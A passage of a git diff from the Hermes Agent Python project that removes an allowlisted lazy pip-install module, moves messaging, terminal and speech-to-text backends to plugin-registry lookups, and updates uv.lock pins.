call. Idempotent. _load_fal_client() + _resolve_fal_provider() request_headers = {"x-idempotency-key": str(uuid.uuid4())} managed_gateway = _resolve_managed_fal_gateway() if managed_gateway is None: diff --git a/tools/lazy_deps.py b/tools/lazy_deps.py deleted file mode 100644 index 1a8708ef25c..00000000000 --- a/tools/lazy_deps.py +++ /dev/null @@ -1,613 +0,0 @@ -""" -Lazy dependency installer for opt-in Hermes Agent backends. - -Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock, -Slack, Matrix, etc.) require Python packages that not every user needs. The -historical approach was to bundle them all under ``pyproject.toml`` extras -(``hermes-agent[all]``) and install them eagerly at setup time. That has -two problems: - -1. **Fragility.** When one extra's transitive dependency becomes - unavailable on PyPI (quarantined for malware, yanked, broken upload), - the *entire* ``[all]`` resolve fails and fresh installs silently fall - back to a stripped tier — losing 10+ unrelated extras at once. - -2. **Bloat.** A user who only ever talks to one provider pulls hundreds - of packages they will never import. - -The lazy-install pattern fixes both. Backends call :func:`ensure` at the -top of their first-import path. If the deps are missing, ``ensure`` checks -the ``security.allow_lazy_installs`` config flag (default true) and runs -a venv-scoped pip install. If the user has explicitly disabled lazy -installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear -remediation hint pointing at ``hermes tools`` or the manual pip command. - -Security model: - -* **Venv-scoped only.** Installs target ``sys.executable`` in the active - venv. We never touch the system Python. -* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc. - We do NOT support ``--index-url`` overrides, ``git+https://``, file: - paths, or any other input that could be hijacked by a malicious config. -* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be - installed via this path. A typo in feature name doesn't get the user - install-anything semantics. -* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in - ``config.yaml`` disables runtime installs. Users in restricted networks - or strict security postures can pin themselves to whatever was installed - at setup time. -* **Offline detection.** If the install fails (offline, mirror down, - PyPI 404 / quarantine), we surface the failure as - :class:`FeatureUnavailable` with the actual pip stderr — no silent - retries, no caching of bad state. - -Adding a new backend: - -1. Add an entry to :data:`LAZY_DEPS` with the package specs. -2. At the top of the backend module's import path, call - ``ensure("feature.name")`` inside a try/except that converts - :class:`FeatureUnavailable` to a useful runtime error. -""" - -from __future__ import annotations - -import logging -import os -import re -import shutil -import subprocess -import sys -from dataclasses import dataclass -from pathlib import Path -from typing import Any, Callable, Optional - -logger = logging.getLogger(__name__) - - -# ============================================================================= -# Allowlist of lazy-installable backends. -# -# Keys are dot-separated feature names ("namespace.backend"). Values are -# tuples of pip-installable specs that match the corresponding extra in -# pyproject.toml. The framework enforces that only specs from this map -# can flow into the pip install command. -# ============================================================================= - - -LAZY_DEPS: dict[str, tuple[str, ...]] = { - # ─── Inference providers ─────────────────────────────────────────────── - # Native Anthropic SDK — needed when provider=anthropic (not via - # OpenRouter / aggregators which use the openai SDK). - "provider.anthropic": ("anthropic==0.87.0",), # CVE-2026-34450, CVE-2026-34452 - # AWS Bedrock provider - "provider.bedrock": ("boto3==1.42.89",), - # Microsoft Foundry — Entra ID auth (managed identity, workload identity, - # service principal, az login, VS Code, azd, PowerShell). Only loaded - # when model.auth_mode=entra_id is selected; key-based azure-foundry - # users never pay this import. - "provider.azure_identity": ("azure-identity==1.25.3",), - - # ─── Web search backends ─────────────────────────────────────────────── - "search.exa": ("exa-py==2.10.2",), - "search.firecrawl": ("firecrawl-py==4.17.0",), - "search.parallel": ("parallel-web==0.4.2",), - - # ─── TTS providers ───────────────────────────────────────────────────── - # Pinned to exact versions to match pyproject.toml's no-ranges policy - # (see comment at top of [project.dependencies]). When bumping, update - # both this map AND the corresponding extra in pyproject.toml. - # - # NOTE: tts.mistral / stt.mistral entries are intentionally absent — - # the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini - # Shai-Hulud worm). Re-add when PyPI restores a clean release; see - # comment in pyproject.toml above the (removed) `mistral` extra for - # the full restoration checklist. - "tts.edge": ("edge-tts==7.2.7",), - "tts.elevenlabs": ("elevenlabs==1.59.0",), - - # ─── Speech-to-text providers ────────────────────────────────────────── - "stt.faster_whisper": ( - "faster-whisper==1.2.1", - "sounddevice==0.5.5", - "numpy==2.4.3", - ), - - # ─── Image generation backends ───────────────────────────────────────── - "image.fal": ("fal-client==0.13.1",), - - # ─── Memory providers ────────────────────────────────────────────────── - "memory.honcho": ("honcho-ai==2.0.1",), - "memory.hindsight": ("hindsight-client==0.6.1",), - - # ─── Messaging platforms (lazy-installable on demand) ────────────────── - "platform.telegram": ("python-telegram-bot[webhooks]==22.6",), - # brotlicffi gives aiohttp a working 2-arg Decompressor.process() for - # Discord CDN's Brotli-encoded attachments. Without it, aiohttp falls - # back to google's `Brotli` package (1-arg API), and any .txt/.md/.doc - # uploaded to the Discord gateway fails to decode at att.read() with - # "Can not decode content-encoding: br" — see #12511 / #15744. - "platform.discord": ("discord.py[voice]==2.7.1", "brotlicffi==1.2.0.1"), - "platform.slack": ( - "slack-bolt==1.27.0", - "slack-sdk==3.40.1", - "aiohttp==3.13.4", # CVE-2026-34513/34518/34519/34520/34525 - ), - "platform.matrix": ( - "mautrix[encryption]==0.21.0", - "Markdown==3.10.2", - "aiosqlite==0.22.1", - "asyncpg==0.31.0", - "aiohttp-socks==0.11.0", - ), - "platform.dingtalk": ( - "dingtalk-stream==0.24.3", - "alibabacloud-dingtalk==2.2.42", - "qrcode==7.4.2", - ), - "platform.feishu": ( - "lark-oapi==1.5.3", - "qrcode==7.4.2", - ), - - # ─── Terminal backends ───────────────────────────────────────────────── - "terminal.modal": ("modal==1.3.4",), - "terminal.daytona": ("daytona==0.155.0",), - "terminal.vercel": ("vercel==0.5.7",), - - # ─── Skills ──────────────────────────────────────────────────────────── - "skill.google_workspace": ( - "google-api-python-client==2.194.0", - "google-auth-oauthlib==1.3.1", - "google-auth-httplib2==0.3.1", - ), - "skill.youtube": ("youtube-transcript-api==1.2.4",), - - # ─── Tools ───────────────────────────────────────────────────────────── - # ACP adapter (VS Code / Zed / JetBrains integration) - "tool.acp": ("agent-client-protocol==0.9.0",), - # Dashboard (`hermes dashboard`) - "tool.dashboard": ( - "fastapi==0.133.1", - "uvicorn[standard]==0.41.0", - ), -} - - -# Conservative regex for spec validation — package name plus optional -# version range. Reject anything that looks like a URL, file path, or shell -# metacharacter. -_SAFE_SPEC = re.compile( - r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name - r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras] - r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier - r"$" -) - - -class FeatureUnavailable(RuntimeError): - """A lazily-installable feature is missing and cannot be made available. - - Either the deps were never installed and the user has disabled lazy - installs, or the install attempt failed. - """ - - def __init__(self, feature: str, missing: tuple[str, ...], reason: str): - self.feature = feature - self.missing = missing - self.reason = reason - super().__init__(self._format()) - - def _format(self) -> str: - spec_list = " ".join(repr(s) for s in self.missing) - return ( - f"Feature {self.feature!r} unavailable: {self.reason}. " - f"To enable manually: uv pip install {spec_list} " - f"(or: pip install {spec_list})." - ) - - -@dataclass(frozen=True) -class _InstallResult: - success: bool - stdout: str - stderr: str - - -# ============================================================================= -# Internals -# ============================================================================= - - -def _allow_lazy_installs() -> bool: - """Return the ``security.allow_lazy_installs`` config flag. - - Defaults to True. If config is unreadable we fail open (allow), because - refusing to install would lock people out of their own backends; the - decision to block is an explicit user opt-in. - """ - if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1": - return False - try: - from hermes_cli.config import load_config - cfg = load_config() - except Exception: - return True - sec = cfg.get("security") or {} - val = sec.get("allow_lazy_installs", True) - return bool(val) - - -def _spec_is_safe(spec: str) -> bool: - """Reject pip specs that contain URLs, paths, or shell metacharacters.""" - if not spec or len(spec) > 200: - return False - if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")): - return False - if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec: - return False - return bool(_SAFE_SPEC.match(spec)) - - -def _pkg_name_from_spec(spec: str) -> str: - """Extract the bare package name from a pip spec. - - ``"slack-bolt>=1.18.0,<2"`` → ``"slack-bolt"`` - ``"mautrix[encryption]>=0.20"`` → ``"mautrix"`` - """ - m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec) - return m.group(1) if m else spec - - -def _specifier_from_spec(spec: str) -> str: - """Extract just the version-specifier portion of a pip spec. - - ``"honcho-ai==2.0.1"`` → ``"==2.0.1"`` - ``"mautrix[encryption]>=0.20,<1"`` → ``">=0.20,<1"`` - ``"package"`` → ``""`` (no version constraint) - """ - # Strip the package name + optional [extras] block. - m = re.match(r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*(?:\[[A-Za-z0-9_,\-]+\])?", spec) - if not m: - return "" - return spec[m.end():] - - -def _is_satisfied(spec: str) -> bool: - """Is ``spec`` already satisfied in the current env? - - Checks both presence AND version. If the package is installed at a - version outside the spec's range, returns False so the caller will - upgrade/downgrade to the pinned version. This is what makes - ``hermes update`` propagate pin bumps in :data:`LAZY_DEPS` to already- - installed backends instead of silently leaving stale versions in place. - - If ``packaging`` is unavailable for any reason (it's a transitive of - pip so this should never happen), we fall back to a presence-only check - so we err on the side of "don't churn". - """ - pkg = _pkg_name_from_spec(spec) - try: - from importlib.metadata import PackageNotFoundError, version - except ImportError: - return False - try: - installed = version(pkg) - except PackageNotFoundError: - return False - except Exception: - return False - - spec_tail = _specifier_from_spec(spec) - if not spec_tail: - # Bare ``"package"`` — no version constraint, presence is enough. - return True - - try: - from packaging.specifiers import InvalidSpecifier, SpecifierSet - from packaging.version import InvalidVersion, Version - except ImportError: - # packaging unavailable — fall back to "installed counts as satisfied". - return True - - try: - return Version(installed) in SpecifierSet(spec_tail) - except (InvalidSpecifier, InvalidVersion, Exception): - # Malformed spec or installed version we can't parse — don't churn. - return True - - -def _is_present(spec: str) -> bool: - """Cheap presence-only check (package name installed at any version). - - Used by :func:`active_features` to detect backends the user has - previously activated, regardless of whether the version pin moved. - """ - pkg = _pkg_name_from_spec(spec) - try: - from importlib.metadata import PackageNotFoundError, version - except ImportError: - return False - try: - version(pkg) - return True - except PackageNotFoundError: - return False - except Exception: - return False - - -def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult: - """Install ``specs`` into the active venv using uv → pip → ensurepip ladder. - - Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but - kept independent here so this module has no CLI dependency. - """ - if not specs: - return _InstallResult(True, "", "") - - venv_root = Path(sys.executable).parent.parent - uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)} - - # Tier 1: uv (preferred — fast, doesn't need pip in the venv) - uv_bin = shutil.which("uv") - if uv_bin: - try: - r = subprocess.run( - [uv_bin, "pip", "install", *specs], - capture_output=True, text=True, timeout=timeout, env=uv_env, - ) - if r.returncode == 0: - return _InstallResult(True, r.stdout or "", r.stderr or "") - logger.debug("uv pip install failed: %s", r.stderr) - except (subprocess.TimeoutExpired, FileNotFoundError) as e: - logger.debug("uv invocation failed: %s", e) - - # Tier 2: python -m pip (with ensurepip bootstrap if needed) - pip_cmd = [sys.executable, "-m", "pip"] - try: - probe = subprocess.run( - pip_cmd + ["--version"], - capture_output=True, text=True, timeout=15, - ) - if probe.returncode != 0: - raise FileNotFoundError("pip not in venv") - except (subprocess.TimeoutExpired, FileNotFoundError): - try: - subprocess.run( - [sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"], - capture_output=True, text=True, timeout=120, check=True, - ) - except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e: - return _InstallResult(False, "", - f"pip not available and ensurepip failed: {e}") - - try: - r = subprocess.run( - pip_cmd + ["install", *specs], - capture_output=True, text=True, timeout=timeout, - ) - return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "") - except subprocess.TimeoutExpired as e: - return _InstallResult(False, "", f"pip install timed out: {e}") - except Exception as e: - return _InstallResult(False, "", f"pip install failed: {e}") - - -# ============================================================================= -# Public API -# ============================================================================= - - -def feature_specs(feature: str) -> tuple[str, ...]: - """Return the registered specs for a feature, or raise KeyError.""" - if feature not in LAZY_DEPS: - raise KeyError(f"Unknown lazy feature: {feature!r}") - return LAZY_DEPS[feature] - - -def feature_missing(feature: str) -> tuple[str, ...]: - """Return the subset of specs for ``feature`` not currently installed.""" - return tuple(s for s in feature_specs(feature) if not _is_satisfied(s)) - - -def ensure(feature: str, *, prompt: bool = True) -> None: - """Make sure all packages for ``feature`` are importable. - - If they're missing, attempts to install them in the active venv. Raises - :class:`FeatureUnavailable` if the user has disabled lazy installs or - if the install attempt fails. - - ``prompt``: when True (default) and stdin is a TTY, asks the user to - confirm before installing. Non-interactive callers (gateway, cron, - batch) get prompt=False and skip the confirmation — config flag is - the gate in that case. - """ - if feature not in LAZY_DEPS: - raise FeatureUnavailable( - feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist" - ) - - missing = feature_missing(feature) - if not missing: - return - - # Validate every spec against the allowlist + safety regex. Belt and - # braces — the keys-in-LAZY_DEPS check above already constrains this. - for spec in missing: - if not _spec_is_safe(spec): - raise FeatureUnavailable( - feature, missing, - f"refusing to install unsafe spec {spec!r}" - ) - - if not _allow_lazy_installs(): - raise FeatureUnavailable( - feature, missing, - "lazy installs disabled (security.allow_lazy_installs=false)" - ) - - if prompt and sys.stdin.isatty() and sys.stdout.isatty(): - spec_list = ", ".join(missing) - try: - answer = input( - f"\nFeature {feature!r} requires: {spec_list}\n" - f"Install into the active venv now? [Y/n] " - ).strip().lower() - except (EOFError, KeyboardInterrupt): - answer = "n" - if answer and answer not in {"y", "yes"}: - raise FeatureUnavailable( - feature, missing, "user declined install at prompt" - ) - - logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature) - result = _venv_pip_install(missing) - if not result.success: - # Surface the actual pip error so the user can debug PyPI-side - # issues (404 quarantine, network down, etc.). - snippet = (result.stderr or result.stdout or "").strip() - if snippet: - # Clip to a readable size — pip can dump pages of resolution traces. - snippet = snippet[-2000:] - raise FeatureUnavailable( - feature, missing, - f"pip install failed: {snippet or 'no error output'}" - ) - - # Verify post-install. importlib.metadata caches per-process, so if we - # just installed something the cache may not see it without a refresh. - try: - import importlib.metadata as _md - if hasattr(_md, "_cache_clear"): - _md._cache_clear() # type: ignore[attr-defined] - except Exception: - pass - - still_missing = feature_missing(feature) - if still_missing: - raise FeatureUnavailable( - feature, still_missing, - "install reported success but packages still not importable " - "(may require Python restart)" - ) - - logger.info("Lazy install complete for feature %r", feature) - - -def is_available(feature: str) -> bool: - """Return True if the feature's deps are already satisfied.""" - if feature not in LAZY_DEPS: - return False - return not feature_missing(feature) - - -def feature_install_command(feature: str) -> Optional[str]: - """Return the ``pip install`` command a user could run manually, or None.""" - if feature not in LAZY_DEPS: - return None - specs = LAZY_DEPS[feature] - return "uv pip install " + " ".join(repr(s) for s in specs) - - -def active_features() -> list[str]: - """Return the list of features the user has ever lazy-installed. - - A feature counts as "active" if at least one of its declared packages - is currently installed in the venv (presence check, ignoring version). - Features the user has never enabled stay quiet. - - Used by ``hermes update`` to figure out which lazy backends need a - refresh pass when pins move in :data:`LAZY_DEPS`. - """ - active = [] - for feature, specs in LAZY_DEPS.items(): - if any(_is_present(s) for s in specs): - active.append(feature) - return active - - -def refresh_active_features(*, prompt: bool = False) -> dict[str, str]: - """Re-run ``ensure`` for every feature the user has previously activated. - - Returns a ``{feature: status}`` map where status is one of: - ``"current"`` — pins already satisfied, no install run - ``"refreshed"`` — pins were stale, reinstall succeeded - ``"failed: "`` — install attempt failed; caller decides - whether to surface it (we don't raise) - ``"skipped: "`` — gated off (config flag, user decline) - - Intended for ``hermes update``. Never raises; lazy-install failures - here must not block the rest of the update flow. - """ - results: dict[str, str] = {} - for feature in active_features(): - missing = feature_missing(feature) - if not missing: - results[feature] = "current" - continue - try: - ensure(feature, prompt=prompt) - results[feature] = "refreshed" - except FeatureUnavailable as e: - # Distinguish "user opted out" from "install failed" so the - # update command can render the right message. - if "lazy installs disabled" in str(e) or "declined" in str(e): - results[feature] = f"skipped: {e.reason}" - else: - results[feature] = f"failed: {e.reason}" - except Exception as e: - results[feature] = f"failed: {e}" - return results - - -def ensure_and_bind( - feature: str, - importer: Callable[[], dict[str, Any]], - target_globals: dict, - *, - prompt: bool = False, -) -> bool: - """Ensure a feature is installed, then rebind names into the caller's globals. - - Combines :func:`ensure` with a post-install import step that rebinds - module-level names. This eliminates the error-prone pattern of manually - listing every global that needs updating after lazy-install. - - ``importer`` is a zero-arg callable that returns a dict of - ``{name: value}`` for all symbols the caller needs rebound. It is called - only after :func:`ensure` succeeds (or if the packages are already - installed). - - Returns True on success, False if deps couldn't be installed or imported. - - Example usage in a platform adapter:: - - def check_slack_requirements() -> bool: - if SLACK_AVAILABLE: - return True - def _import(): - from slack_bolt.async_app import AsyncApp - from slack_bolt.adapter.socket_mode.async_handler import AsyncSocketModeHandler - from slack_sdk.web.async_client import AsyncWebClient - import aiohttp - return { - "AsyncApp": AsyncApp, - "AsyncSocketModeHandler": AsyncSocketModeHandler, - "AsyncWebClient": AsyncWebClient, - "aiohttp": aiohttp, - "SLACK_AVAILABLE": True, - } - return ensure_and_bind("platform.slack", _import, globals(), prompt=False) - """ - try: - ensure(feature, prompt=prompt) - except (FeatureUnavailable, Exception): - return False - - try: - bindings = importer() - except ImportError: - return False - - target_globals.update(bindings) - return True diff --git a/tools/send_message_tool.py b/tools/send_message_tool.py index 4494fbd0cf9..cbbe09cb418 100644 --- a/tools/send_message_tool.py +++ b/tools/send_message_tool.py @@ -564,25 +564,25 @@ async def _send_to_platform(platform, pconfig, chat_id, message, thread_id=None, """ from gateway.config import Platform from gateway.platforms.base import BasePlatformAdapter, utf16_len - from gateway.platforms.slack import SlackAdapter - # Telegram adapter import is optional (requires python-telegram-bot) - try: - from gateway.platforms.telegram import TelegramAdapter - _telegram_available = True - except ImportError: - _telegram_available = False + # Resolve adapter classes from the plugin registry instead of importing + # from hermes_agent_* packages directly. + from agent.plugin_registries import registries - # Feishu adapter import is optional (requires lark-oapi) - try: - from gateway.platforms.feishu import FeishuAdapter - _feishu_available = True - except ImportError: - _feishu_available = False + _slack_entry = registries.get_platform("slack") + SlackAdapter = _slack_entry.adapter_class if _slack_entry else None + + _telegram_entry = registries.get_platform("telegram") + TelegramAdapter = _telegram_entry.adapter_class if _telegram_entry else None + _telegram_available = TelegramAdapter is not None + + _feishu_entry = registries.get_platform("feishu") + FeishuAdapter = _feishu_entry.adapter_class if _feishu_entry else None + _feishu_available = FeishuAdapter is not None media_files = media_files or [] - if platform == Platform.SLACK and message: + if platform == Platform.SLACK and message and SlackAdapter is not None: try: slack_adapter = SlackAdapter.__new__(SlackAdapter) message = slack_adapter.format_message(message) @@ -591,11 +591,12 @@ async def _send_to_platform(platform, pconfig, chat_id, message, thread_id=None, # Platform message length limits (from adapter class attributes for # built-in platforms; from PlatformEntry.max_message_length for plugins). - _MAX_LENGTHS = { - Platform.TELEGRAM: TelegramAdapter.MAX_MESSAGE_LENGTH if _telegram_available else 4096, - Platform.SLACK: SlackAdapter.MAX_MESSAGE_LENGTH, - } - if _feishu_available: + _MAX_LENGTHS = {} + if TelegramAdapter is not None: + _MAX_LENGTHS[Platform.TELEGRAM] = TelegramAdapter.MAX_MESSAGE_LENGTH + if SlackAdapter is not None: + _MAX_LENGTHS[Platform.SLACK] = SlackAdapter.MAX_MESSAGE_LENGTH + if FeishuAdapter is not None: _MAX_LENGTHS[Platform.FEISHU] = FeishuAdapter.MAX_MESSAGE_LENGTH # Check plugin registry for max_message_length @@ -832,9 +833,14 @@ async def _send_telegram(token, chat_id, message, media_files=None, thread_id=No else: # Reuse the gateway adapter's format_message for markdown→MarkdownV2 try: - from gateway.platforms.telegram import TelegramAdapter - _adapter = TelegramAdapter.__new__(TelegramAdapter) - formatted = _adapter.format_message(message) + from agent.plugin_registries import registries + _tg_entry = registries.get_platform("telegram") + TelegramAdapter = _tg_entry.adapter_class if _tg_entry else None + if TelegramAdapter is not None: + _adapter = TelegramAdapter.__new__(TelegramAdapter) + formatted = _adapter.format_message(message) + else: + formatted = message except Exception: # Fallback: send as-is if formatting unavailable formatted = message @@ -877,10 +883,17 @@ async def _send_telegram(token, chat_id, message, media_files=None, thread_id=No # send to a forum group's General topic always errors out # (see issue #22267). try: - from gateway.platforms.telegram import TelegramAdapter - effective_thread_id = TelegramAdapter._message_thread_id_for_send( - str(thread_id) - ) + from agent.plugin_registries import registries as _registries + _tg_entry = _registries.get_platform("telegram") + _TelegramAdapter = _tg_entry.adapter_class if _tg_entry else None + if _TelegramAdapter is not None: + effective_thread_id = _TelegramAdapter._message_thread_id_for_send( + str(thread_id) + ) + else: + effective_thread_id = ( + None if str(thread_id) == "1" else int(thread_id) + ) except Exception: # Fallback: explicit mapping in case the adapter import # fails (e.g. python-telegram-bot missing in this venv). @@ -929,8 +942,13 @@ async def _send_telegram(token, chat_id, message, media_files=None, thread_id=No ) if not _has_html: try: - from gateway.platforms.telegram import _strip_mdv2 - plain = _strip_mdv2(formatted) + from agent.plugin_registries import registries + _tg_entry = registries.get_platform("telegram") + _strip_mdv2 = _tg_entry.helper_functions.get("_strip_mdv2") if _tg_entry else None + if _strip_mdv2: + plain = _strip_mdv2(formatted) + else: + plain = message except Exception: plain = message else: @@ -1403,8 +1421,12 @@ async def _send_matrix(token, extra, chat_id, message): async def _send_matrix_via_adapter(pconfig, chat_id, message, media_files=None, thread_id=None): """Send via the Matrix adapter so native Matrix media uploads are preserved.""" try: - from gateway.platforms.matrix import MatrixAdapter - except ImportError: + from agent.plugin_registries import registries + _matrix_entry = registries.get_platform("matrix") + MatrixAdapter = _matrix_entry.adapter_class if _matrix_entry else None + if MatrixAdapter is None: + return {"error": "Matrix dependencies not installed. Run: pip install 'mautrix[encryption]'"} + except Exception: return {"error": "Matrix dependencies not installed. Run: pip install 'mautrix[encryption]'"} media_files = media_files or [] @@ -1592,11 +1614,17 @@ async def _send_bluebubbles(extra, chat_id, message): async def _send_feishu(pconfig, chat_id, message, media_files=None, thread_id=None): """Send via Feishu/Lark using the adapter's send pipeline.""" try: - from gateway.platforms.feishu import FeishuAdapter, FEISHU_AVAILABLE + from agent.plugin_registries import registries + _feishu_entry = registries.get_platform("feishu") + if _feishu_entry is None: + return {"error": "Feishu dependencies not installed. Run: pip install 'hermes-agent[feishu]'"} + FeishuAdapter = _feishu_entry.adapter_class + FEISHU_AVAILABLE = _feishu_entry.constants.get("FEISHU_AVAILABLE", False) + FEISHU_DOMAIN = _feishu_entry.constants.get("FEISHU_DOMAIN", "") + LARK_DOMAIN = _feishu_entry.constants.get("LARK_DOMAIN", "") if not FEISHU_AVAILABLE: return {"error": "Feishu dependencies not installed. Run: pip install 'hermes-agent[feishu]'"} - from gateway.platforms.feishu import FEISHU_DOMAIN, LARK_DOMAIN - except ImportError: + except Exception: return {"error": "Feishu dependencies not installed. Run: pip install 'hermes-agent[feishu]'"} media_files = media_files or [] diff --git a/tools/terminal_tool.py b/tools/terminal_tool.py index f7a0e14bc88..ce8a9ab6b1b 100644 --- a/tools/terminal_tool.py +++ b/tools/terminal_tool.py @@ -887,12 +887,23 @@ from tools.environments.local import LocalEnvironment as _LocalEnvironment from tools.environments.singularity import SingularityEnvironment as _SingularityEnvironment from tools.environments.ssh import SSHEnvironment as _SSHEnvironment from tools.environments.docker import DockerEnvironment as _DockerEnvironment -from tools.environments.modal import ModalEnvironment as _ModalEnvironment +# ModalEnvironment is resolved lazily from the plugin registry (see +# _get_modal_environment_class below) instead of a module-level import +# from hermes_agent_modal. from tools.environments.managed_modal import ManagedModalEnvironment as _ManagedModalEnvironment from tools.managed_tool_gateway import is_managed_tool_gateway_ready import sys +def _get_modal_environment_class(): + """Return ModalEnvironment from the plugin registry, or None.""" + from agent.plugin_registries import registries + _modal = registries.get_tool_provider("modal") + if _modal: + return _modal.environment_classes.get("ModalEnvironment") + return None + + # Tool description for LLM TERMINAL_TOOL_DESCRIPTION = """Execute shell commands on a Linux environment. Filesystem usually persists between calls. @@ -1205,6 +1216,12 @@ def _create_environment(env_type: str, image: str, cwd: str, timeout: int, ) raise ValueError(message) + _ModalEnvironment = _get_modal_environment_class() + if _ModalEnvironment is None: + raise ValueError( + "Modal backend selected but the hermes_agent_modal plugin is not loaded. " + "Ensure the modal plugin is installed and enabled." + ) return _ModalEnvironment( image=image, cwd=cwd, timeout=timeout, modal_sandbox_kwargs=sandbox_kwargs, @@ -1213,7 +1230,14 @@ def _create_environment(env_type: str, image: str, cwd: str, timeout: int, elif env_type == "daytona": # Lazy import so daytona SDK is only required when backend is selected. - from tools.environments.daytona import DaytonaEnvironment as _DaytonaEnvironment + from agent.plugin_registries import registries + _daytona = registries.get_tool_provider("daytona") + _DaytonaEnvironment = _daytona.environment_classes.get("DaytonaEnvironment") if _daytona else None + if _DaytonaEnvironment is None: + raise ValueError( + "Daytona backend selected but the hermes_agent_daytona plugin is not loaded. " + "Ensure the daytona plugin is installed and enabled." + ) return _DaytonaEnvironment( image=image, cwd=cwd, timeout=timeout, cpu=int(cpu), memory=memory, disk=disk, @@ -1221,9 +1245,14 @@ def _create_environment(env_type: str, image: str, cwd: str, timeout: int, ) elif env_type == "vercel_sandbox": - from tools.environments.vercel_sandbox import ( - VercelSandboxEnvironment as _VercelSandboxEnvironment, - ) + from agent.plugin_registries import registries + _vercel = registries.get_tool_provider("vercel") + _VercelSandboxEnvironment = _vercel.environment_classes.get("VercelSandboxEnvironment") if _vercel else None + if _VercelSandboxEnvironment is None: + raise ValueError( + "Vercel Sandbox backend selected but the hermes_agent_vercel plugin is not loaded. " + "Ensure the vercel plugin is installed and enabled." + ) return _VercelSandboxEnvironment( runtime=cc.get("vercel_runtime") or None, cwd=cwd, diff --git a/tools/voice_mode.py b/tools/voice_mode.py index d28775ac63a..f699da7bb21 100644 --- a/tools/voice_mode.py +++ b/tools/voice_mode.py @@ -800,7 +800,15 @@ def transcribe_recording(wav_path: str, model: Optional[str] = None) -> Dict[str Returns: Dict with ``success``, ``transcript``, and optionally ``error``. """ - from tools.transcription_tools import MAX_FILE_SIZE, transcribe_audio + # Registry lookup (hermes_agent_stt is a plugin) + from agent.plugin_registries import registries + _stt = registries.get_tool_provider("stt") + if _stt: + transcribe_audio = _stt.tool_functions.get("transcribe_audio") + MAX_FILE_SIZE = _stt.constants.get("MAX_FILE_SIZE", 25 * 1024 * 1024) + else: + transcribe_audio = None + MAX_FILE_SIZE = 25 * 1024 * 1024 if _should_chunk_for_transcription(wav_path, MAX_FILE_SIZE): result = _transcribe_wav_in_chunks(wav_path, model=model, max_file_size=MAX_FILE_SIZE) @@ -832,7 +840,10 @@ def _transcribe_wav_in_chunks( max_file_size: int, ) -> Dict[str, Any]: """Split an oversized WAV into provider-sized chunks and join transcripts.""" - from tools.transcription_tools import transcribe_audio + # Registry lookup (hermes_agent_stt is a plugin) + from agent.plugin_registries import registries + _stt = registries.get_tool_provider("stt") + transcribe_audio = _stt.tool_functions.get("transcribe_audio") if _stt else None chunk_paths: List[str] = [] transcripts: List[str] = [] @@ -1041,7 +1052,17 @@ def check_voice_requirements() -> Dict[str, Any]: ``missing_packages``, and ``details``. """ # Determine STT provider availability - from tools.transcription_tools import _get_provider, _load_stt_config, is_stt_enabled + # Registry lookup (hermes_agent_stt is a plugin) + from agent.plugin_registries import registries + _stt = registries.get_tool_provider("stt") + if _stt: + _get_provider = _stt.config_functions.get("_get_provider") + _load_stt_config = _stt.config_functions.get("_load_stt_config") + is_stt_enabled = _stt.config_functions.get("is_stt_enabled", lambda _cfg=None: False) + else: + _get_provider = lambda _cfg=None: "none" + _load_stt_config = lambda: {} + is_stt_enabled = lambda _cfg=None: False stt_config = _load_stt_config() stt_enabled = is_stt_enabled(stt_config) stt_provider = _get_provider(stt_config) diff --git a/uv.lock b/uv.lock index 1c0dd1cf17d..c8a1dc1f06c 100644 --- a/uv.lock +++ b/uv.lock @@ -8,6 +8,32 @@ resolution-markers = [ "python_full_version < '3.12'", ] +[manifest] +members = [ + "hermes-agent", + "hermes-agent-anthropic", + "hermes-agent-azure", + "hermes-agent-bedrock", + "hermes-agent-dashboard", + "hermes-agent-daytona", + "hermes-agent-dingtalk", + "hermes-agent-discord", + "hermes-agent-exa", + "hermes-agent-fal", + "hermes-agent-feishu", + "hermes-agent-firecrawl", + "hermes-agent-hindsight", + "hermes-agent-honcho", + "hermes-agent-matrix", + "hermes-agent-modal", + "hermes-agent-parallel", + "hermes-agent-slack", + "hermes-agent-stt", + "hermes-agent-telegram", + "hermes-agent-tts", + "hermes-agent-vercel", +] + [[package]] name = "agent-client-protocol" version = "0.9.0" @@ -321,7 +347,7 @@ wheels = [ [[package]] name = "anthropic" -version = "0.86.0" +version = "0.87.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "anyio" }, @@ -333,9 +359,9 @@ dependencies = [ { name = "sniffio" }, { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/37/7a/8b390dc47945d3169875d342847431e5f7d5fa716b2e37494d57cfc1db10/anthropic-0.86.0.tar.gz", hash = "sha256:60023a7e879aa4fbb1fed99d487fe407b2ebf6569603e5047cfe304cebdaa0e5", size = 583820, upload-time = "2026-03-18T18:43:08.017Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/8f/3281edf7c35cbac169810e5388eb9b38678c7ea9867c2d331237bd5dff08/anthropic-0.87.0.tar.gz", hash = "sha256:098fef3753cdd3c0daa86f95efb9c8d03a798d45c5170329525bb4653f6702d0", size = 588982, upload-time = "2026-03-31T17:52:41.697Z" } wheels = [ - { url = 